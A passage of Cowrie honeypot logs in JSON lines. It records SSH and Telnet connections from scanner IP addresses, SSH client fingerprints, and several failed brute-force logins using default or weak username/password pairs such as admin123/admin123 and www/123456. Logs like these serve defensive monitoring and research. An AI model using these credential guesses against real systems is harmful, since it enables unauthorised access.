-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.505451Z","src_ip":"176.65.132.129","session":"09f327694037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36036,"dst_ip":"10.17.0.5","dst_port":23,"session":"eade71316f5d","protocol":"telnet","message":"New connection: 45.81.23.16:36036 (10.17.0.5:23) [session: eade71316f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.638692Z"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.750237Z","src_ip":"176.65.132.129","session":"09f327694037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36040,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c0dab9d020","protocol":"telnet","message":"New connection: 45.81.23.16:36040 (10.17.0.5:23) [session: 04c0dab9d020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.830934Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:26.839742Z","src_ip":"176.65.132.129","session":"09f327694037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44444,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2595b346533","protocol":"ssh","message":"New connection: 176.65.132.129:44444 (10.17.0.5:22) [session: e2595b346533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:28.655567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:28.659178Z","src_ip":"176.65.132.129","session":"e2595b346533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:28.740185Z","src_ip":"176.65.132.129","session":"e2595b346533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:28.984607Z","src_ip":"176.65.132.129","session":"e2595b346533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:30.069489Z","src_ip":"176.65.132.129","session":"e2595b346533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ef3e5df0a3","protocol":"telnet","message":"New connection: 64.227.82.147:40562 (159.203.135.109:23) [session: b1ef3e5df0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:30.265609Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59366,"dst_ip":"159.203.135.109","dst_port":23,"session":"5970760d9dea","protocol":"telnet","message":"New connection: 38.60.198.128:59366 (159.203.135.109:23) [session: 5970760d9dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:30.677965Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":40576,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa6aa9ecb84d","protocol":"telnet","message":"New connection: 64.227.82.147:40576 (159.203.135.109:23) [session: fa6aa9ecb84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:31.364915Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44456,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf28208c26c2","protocol":"ssh","message":"New connection: 176.65.132.129:44456 (10.17.0.5:22) [session: cf28208c26c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:31.947906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:32.072438Z","src_ip":"176.65.132.129","session":"cf28208c26c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:32.075164Z","src_ip":"176.65.132.129","session":"cf28208c26c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:32.411966Z","src_ip":"176.65.132.129","session":"cf28208c26c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.576923131942749,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:33.362933Z","src_ip":"45.81.23.16","session":"10829118b6f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:33.494004Z","src_ip":"176.65.132.129","session":"cf28208c26c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.51193308830261,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:34.137520Z","src_ip":"38.60.198.128","session":"2067c5461ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.70363903045654,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:34.502853Z","src_ip":"38.60.198.128","session":"66327d2d681d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44464,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42cac1554f7","protocol":"ssh","message":"New connection: 176.65.132.129:44464 (10.17.0.5:22) [session: a42cac1554f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:35.193717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:35.198918Z","src_ip":"176.65.132.129","session":"a42cac1554f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:35.281750Z","src_ip":"176.65.132.129","session":"a42cac1554f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:35.525312Z","src_ip":"176.65.132.129","session":"a42cac1554f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167798995972,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:36.464126Z","src_ip":"86.46.116.252","session":"2eaff68d66a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:36.609639Z","src_ip":"176.65.132.129","session":"a42cac1554f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":56276,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e463e51a4ec","protocol":"telnet","message":"New connection: 64.227.82.147:56276 (159.203.135.109:23) [session: 9e463e51a4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:37.348304Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7448fef5ec0d","protocol":"ssh","message":"New connection: 176.65.132.129:51272 (10.17.0.5:22) [session: 7448fef5ec0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:38.427871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:38.432374Z","src_ip":"176.65.132.129","session":"7448fef5ec0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:38.527837Z","src_ip":"176.65.132.129","session":"7448fef5ec0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.92208743095398,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:38.560639Z","src_ip":"45.81.23.16","session":"eade71316f5d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:38.949097Z","src_ip":"176.65.132.129","session":"7448fef5ec0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019998550415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:39.571739Z","src_ip":"86.46.116.252","session":"ee7f1130f840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:40.033803Z","src_ip":"176.65.132.129","session":"7448fef5ec0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51282,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ba5158d793","protocol":"ssh","message":"New connection: 176.65.132.129:51282 (10.17.0.5:22) [session: 58ba5158d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:41.982909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:41.988103Z","src_ip":"176.65.132.129","session":"58ba5158d793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:42.071668Z","src_ip":"176.65.132.129","session":"58ba5158d793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:42.318781Z","src_ip":"176.65.132.129","session":"58ba5158d793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46170,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3a416c7b38","protocol":"telnet","message":"New connection: 38.60.198.128:46170 (159.203.135.109:23) [session: cc3a416c7b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:42.730295Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:43.451739Z","src_ip":"176.65.132.129","session":"58ba5158d793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.4219856262207,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:44.850959Z","src_ip":"45.81.23.16","session":"b251e45c511b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33334,"dst_ip":"159.203.135.109","dst_port":23,"session":"974e01542835","protocol":"telnet","message":"New connection: 64.227.82.147:33334 (159.203.135.109:23) [session: 974e01542835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:44.976312Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5257f07d437a","protocol":"ssh","message":"New connection: 176.65.132.129:51292 (10.17.0.5:22) [session: 5257f07d437a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:45.301687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:45.306755Z","src_ip":"176.65.132.129","session":"5257f07d437a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:45.388566Z","src_ip":"176.65.132.129","session":"5257f07d437a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:45.632750Z","src_ip":"176.65.132.129","session":"5257f07d437a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:46.717443Z","src_ip":"176.65.132.129","session":"5257f07d437a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7db1d4eb5f","protocol":"telnet","message":"New connection: 64.227.82.147:33340 (159.203.135.109:23) [session: ab7db1d4eb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:46.837656Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff6426db5e29","protocol":"telnet","message":"New connection: 38.54.119.93:58906 (10.17.0.5:23) [session: ff6426db5e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:47.668955Z"}
{"eventid":"cowrie.session.closed","duration":62.605144739151,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:47.678382Z","src_ip":"64.227.82.147","session":"8538777eee40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e5d2dda4b0","protocol":"ssh","message":"New connection: 176.65.132.129:57468 (10.17.0.5:22) [session: d9e5d2dda4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:48.626622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:48.631101Z","src_ip":"176.65.132.129","session":"d9e5d2dda4b0","protocol":"ssh"}
